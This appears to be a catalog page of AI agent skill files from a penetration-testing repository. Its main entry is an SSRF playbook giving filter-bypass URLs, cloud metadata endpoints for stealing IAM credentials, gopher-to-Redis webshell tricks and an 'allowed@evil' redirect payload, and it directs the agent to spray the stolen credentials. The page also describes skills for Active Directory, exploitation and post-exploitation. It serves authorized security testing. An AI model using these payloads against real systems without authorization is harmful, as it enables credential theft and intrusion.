web-ssrf
Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /_next/image, remotePatterns, redirect.
git clone --depth 1 https://github.com/s0ld13rr/pentestcode /tmp/web-ssrf && cp -r /tmp/web-ssrf/skills/web/ssrf ~/.claude/skills/web-ssrfSKILL.md
# Server-Side Request Forgery (SSRF) ## When this fires The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js `/_next/image`), XML/SVG parsers. ## Detect Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF: ```bash # use interactsh / a collaborator / your own listener url=http://<OOB-id>.oast.site # then watch for the server-sourced hit ``` Compare internal vs external: `http://127.0.0.1:<port>` / `http://localhost` responses vs a dead port (differential = internal reachability). ## Decide — filter bypass - Blocklist of `127.0.0.1`/`localhost` → `http://127.1`, `http://0`, `http://[::1]`, `http://2130706433` (decimal), `http://0x7f000001`, `http://127.0.0.1.nip.io`. - Allowlist/parser confusion → `http://allowed@evil`, `http://evil#allowed`, `http://allowed.evil.com`, CR/LF + `@`, or a redirect you control (302 → internal). - Scheme filter → `gopher://` (raw TCP → Redis/SMTP/internal HTTP), `file://`, `dict://`. ## Exploit → PROVE IMPACT ```bash # cloud metadata (the classic high-impact proof): http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1 # IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target http://metadata.google.internal/computeMetadata/v1/ (Header Metadata-Flavor: Google) # GCP http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header Metadata:true) # Azure # internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing ``` **Proof required:** exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray. ## Tooling `nuclei -tags ssrf`; interactsh/collaborator for OOB; `gopherus` to craft gopher payloads. ## False positives / pitfalls - Client-side fetch (the BROWSER requests it) = not SSRF. - WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status. - Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.
Work with Effect v4 / effect-smol TypeScript code in this repo
Active enumeration phase — port scanning, service detection, banner grabbing. Use when the current phase is ENUMERATION.
Exploitation phase — exploit confirmed vulns, credential attacks, gain access. Use when the current phase is EXPLOITATION.
Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8.
Cloud security playbook — AWS/GCP/Azure misconfiguration and attack patterns (IAM, storage, metadata, privesc). Load when the target is a cloud environment or you obtain cloud creds/metadata. Triggers - AWS/GCP/Azure, IAM role/policy, S3/blob bucket, 169.254.169.254 metadata, access key, assume-role, cloud console.
Infrastructure pentest playbook — PTES-based phase flow for internal networks, servers, and non-web services. Load at the START of an internal/infra engagement or multi-host network assessment. Triggers - internal network, subnet/CIDR scan, infra pentest, multi-host, pivoting, lateral movement across services.
Web application pentest methodology + ROUTER to the per-vuln-class web skills. Load at the START of systematic web testing to get the phase flow (recon → map → test-by-OWASP-class → prove → report) and pick which web-<class> skill to load for each surface. Use on any web app / HTTP API engagement.
Post-exploitation phase — privilege escalation, lateral movement, credential dumping, data discovery. Use when the current phase is POST_EXPLOIT.